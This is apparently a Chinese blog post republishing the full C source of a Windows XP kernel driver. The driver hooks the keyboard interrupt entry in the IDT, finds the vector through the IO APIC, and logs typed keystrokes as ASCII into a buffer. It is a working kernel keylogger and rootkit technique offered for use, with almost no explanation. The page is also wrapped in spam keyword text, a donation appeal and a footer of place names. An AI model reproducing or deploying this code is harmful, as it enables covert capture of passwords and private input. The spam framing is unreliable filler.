#include#defineMAX_CHAR" />

日韩久久久精品,亚洲精品久久久久久久久久久,亚洲欧美一区二区三区国产精品 ,一区二区福利

修改鍵盤中斷描述符表

系統 1837 0

修改中斷描述符表(IDT)中的鍵盤入口實現按健記錄,把讀取到的鍵盤掃描碼轉換成 ascii 碼記錄下來。查找鍵盤入口采用了查詢 IO APIC 的重定向寄存器的方法(通過把物理地址 0xFEC00000 映射為虛擬地址,然后讀取鍵盤中斷向量,最難得是沒有 xpsp2 的限制了。這是我從別處轉過來的驅動源碼, Windows XP Checked Build Environment測試過。

    
      
        #include <ntddk.h>
        
#include <stdio.h>

#define MAX_CHARS 256
#define MAKELONG(a, b) ((unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned short) (b))) << 16))


PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60;
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;

// status register bits
#define IBUFFER_FULL 0x02
#define OBUFFER_FULL 0x01

// flags for keyboard status
#define S_SHIFT 1
#define S_CAPS 2
#define S_NUM 4

int kb_status = S_NUM;

///////////////////////////////////////////////////
// IDT structures
///////////////////////////////////////////////////
#pragma pack(1)

// entry in the IDT, this is sometimes called
// an "interrupt gate"
typedef struct
{
unsigned short LowOffset;
unsigned short selector;
unsigned char unused_lo;
unsigned char segment_type:4; //0x0E is an interrupt gate
unsigned char system_segment_flag:1;
unsigned char DPL:2; // descriptor privilege level
unsigned char P:1; /* present */
unsigned short HiOffset;
} IDTENTRY;

/* sidt returns idt in this format */
typedef struct
{
unsigned short IDTLimit;
unsigned short LowIDTbase;
unsigned short HiIDTbase;
} IDTINFO;

#pragma pack()

int kb_int = 0x93;

unsigned long old_ISR_pointer;
unsigned char keystroke_buffer[MAX_CHARS];
int kb_array_ptr=0;

unsigned char asciiTbl[]={
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E
};

ULONG WaitForKbRead()
{
int i = 100;
UCHAR mychar;

do
{
mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );

KeStallExecutionProcessor(666);

if(!(mychar & OBUFFER_FULL)) break;
}
while (i--);

if(i) return TRUE;
return FALSE;
}

ULONG WaitForKbWrite()
{
int i = 100;
UCHAR mychar;

do
{
mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );

KeStallExecutionProcessor(666);

if(!(mychar & IBUFFER_FULL)) break;
}
while (i--);

if(i) return TRUE;
return FALSE;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
IDTINFO idt_info;
IDTENTRY* idt_entries;
char _t[255];

// load idt_info
__asm sidt idt_info
idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

DbgPrint("UnHooking Interrupt...");

// restore the original interrupt handler
__asm cli
idt_entries[kb_int].LowOffset = (unsigned short) old_ISR_pointer;
idt_entries[kb_int].HiOffset = (unsigned short)((unsigned long)old_ISR_pointer >> 16);
__asm sti

DbgPrint("UnHooking Interrupt complete.");

DbgPrint("Keystroke Buffer is: ");
DbgPrint("%s", keystroke_buffer);
}

// using stdcall means that this function fixes the stack before returning (opposite of cdecl)
void __stdcall print_keystroke()
{
UCHAR sch, ch = 0;
int off = 0;

WaitForKbRead();
sch = READ_PORT_UCHAR(KEYBOARD_PORT_60);
if (sch == 0xE0)
{
WaitForKbRead();
sch = READ_PORT_UCHAR(KEYBOARD_PORT_60);
}

if (kb_status & S_CAPS)
off += 0x54;
if (kb_status & S_SHIFT)
off += 0x54 * 2;

if ((sch & 0x80) == 0) //make
{
if ((sch < 0x47) ||
((sch >= 0x47 && sch < 0x54) && (kb_status & S_NUM))) // Num Lock
{
ch = asciiTbl[off+sch];
}

switch (sch)
{
case 0x3A:
kb_status ^= S_CAPS;
break;

case 0x2A:
case 0x36:
kb_status |= S_SHIFT;
break;

case 0x45:
kb_status ^= S_NUM;
}
}
else //break
{
if (sch == 0xAA || sch == 0xB6)
kb_status &= ~S_SHIFT;
}

if (ch >= 0x20 && ch < 0x7F)
{
keystroke_buffer[kb_array_ptr++] = ch;
keystroke_buffer[kb_array_ptr] = '/0';
if (kb_array_ptr >= MAX_CHARS-1)
{
kb_array_ptr = 0;
}
}

//put scancode back (works on PS/2)
WRITE_PORT_UCHAR(KEYBOARD_PORT_64, 0xD2); //command to echo back scancode
WaitForKbWrite();
WRITE_PORT_UCHAR(KEYBOARD_PORT_60, sch); //write the scancode to echo back
}

// naked functions have no prolog/epilog code - they are functionally like the
// target of a goto statement
__declspec(naked) my_interrupt_hook()
{
__asm
{
pushad // save all general purpose registers
pushfd // save the flags register
call print_keystroke // call function
popfd // restore the flags
popad // restore the general registers
jmp old_ISR_pointer // goto the original ISR
}
}

// Intel 82093AA I/O Advanced Programmable Interrupt Controller (I/O APIC) Datasheet.pdf
int search_irq1()
{
unsigned char *pIoRegSel;
unsigned char *pIoWin;
unsigned char ch;

PHYSICAL_ADDRESS phys;
PVOID pAddr;

phys.u.LowPart = 0xFEC00000;
pAddr = MmMapIoSpace(phys, 0x14, MmNonCached);
if (pAddr == NULL)
return 0;

pIoRegSel = (unsigned char *)pAddr;
pIoWin = (unsigned char *)(pAddr) + 0x10;

/*
{
int i;
unsigned char j;

for (i = 0, j = 0x10; i <= 0x17; i++, j += 2)
{
*pIoRegSel = j;
ch = *pIoWin;
DbgPrint("RedTbl[%02d]: 0x%02X/n", i, ch);
}
}
*/

*pIoRegSel = 0x12; // irq1
ch = *pIoWin;

MmUnmapIoSpace(pAddr, 0x14);

return (int)ch;
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
IDTINFO idt_info;
IDTENTRY* idt_entries;
char _t[255];

theDriverObject->DriverUnload = OnUnload;

kb_int = search_irq1();
DbgPrint("kb_int = 0x%02X/n", kb_int);

// load idt_info
__asm sidt idt_info

idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

DbgPrint("Hooking Interrupt...");
old_ISR_pointer = MAKELONG(idt_entries[kb_int].LowOffset,idt_entries[kb_int].HiOffset);

// remember we disable interrupts while we patch the table
__asm cli
idt_entries[kb_int].LowOffset = (unsigned short)my_interrupt_hook;
idt_entries[kb_int].HiOffset = (unsigned short)((unsigned long)my_interrupt_hook >> 16);
__asm sti

DbgPrint("Hooking Interrupt complete: Old = 0x%08X, New = 0x%08X/n", old_ISR_pointer, my_interrupt_hook);

return STATUS_SUCCESS;
// return STATUS_DEVICE_CONFIGURATION_ERROR;
}

修改鍵盤中斷描述符表


更多文章、技術交流、商務合作、聯系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦!!!

發表我的評論
最新評論 總共0條評論
主站蜘蛛池模板: 邢台县| 丰台区| 新野县| 云南省| 昌江| 武城县| 木里| 玛曲县| 射阳县| 鄂尔多斯市| 定兴县| 大渡口区| 扶沟县| 浦北县| 台北市| 三亚市| 焉耆| 济宁市| 晋江市| 团风县| 南华县| 鄂伦春自治旗| 将乐县| 海盐县| 明水县| 麻栗坡县| 枞阳县| 阿勒泰市| 色达县| 察雅县| 招远市| 崇文区| 子长县| 永吉县| 苏尼特左旗| 祁连县| 龙井市| 泰宁县| 蕲春县| 山丹县| 崇阳县|